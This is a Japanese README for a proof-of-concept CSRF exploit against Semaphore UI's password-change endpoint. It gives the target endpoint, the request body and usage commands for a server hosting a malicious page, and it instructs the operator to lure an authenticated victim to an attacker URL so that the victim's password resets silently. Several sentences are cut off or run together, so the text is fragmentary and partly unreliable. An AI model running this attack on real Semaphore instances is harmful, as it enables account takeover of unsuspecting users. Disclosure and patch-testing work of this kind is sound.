
CVE-2026-73292 の概念実証エクスプロイト:Semaphore UI のパスワード変更エンドポイントに対する CSRF 攻撃で、認証済みユーザーのパスワードを気付かれずにリセットする悪意のあるページを配信します。
教育目的および責任ある開示の目的でのみ使用してください。
この脆弱性は GHSA-8cj9-r88m-8945 で報告されており、2.18.21 未満の semaphoreui バージョンに影響します。
Semaphore UI のパスワード変更エンドポイントには、CSRF 保護が実装されていません:
semaphore)のみに依存しており、SameSite は強制されていません悪意のあるページは、アクセスした認証済みユーザーのパスワードを静かに変更できます。
影響を受けるエンドポイント: POST /api/users/{id}/password
{"password": "newpassword", "project_id": 1}
python poc_server.py -u http://TARGET:3000 -i USER_ID [-n NEW_PASSWORD] [-p PORT]
| 引数 | 説明 | デフォルト値 |
|---|---|---|
-u / --uri | Semaphore インスタンスのベース URL | 必須 |
-i / --user_id | 対象ユーザーの ID | 必須 |
-n / --new_password | 設定するパスワード | passwordchanged |
-p / --port | 悪意のあるページを配信するポート | 1337 |
python poc_server.py -u http://192.168.1.10:3000 -i 1 -n pwn3d -p 1337
その後、(Semaphore に認証済みの)被害者を http://ATTACKER:1337 に誘導します。ページが読み込まれるとすぐにパスワードが変更されます。
python poc.py -u http://TARGET:3000 -i 1
http://ATTACKER:1337 にアクセスします/api/users/1/password への POST が HTTP 204 を返すのを確認しますSameSite=Strict を設定する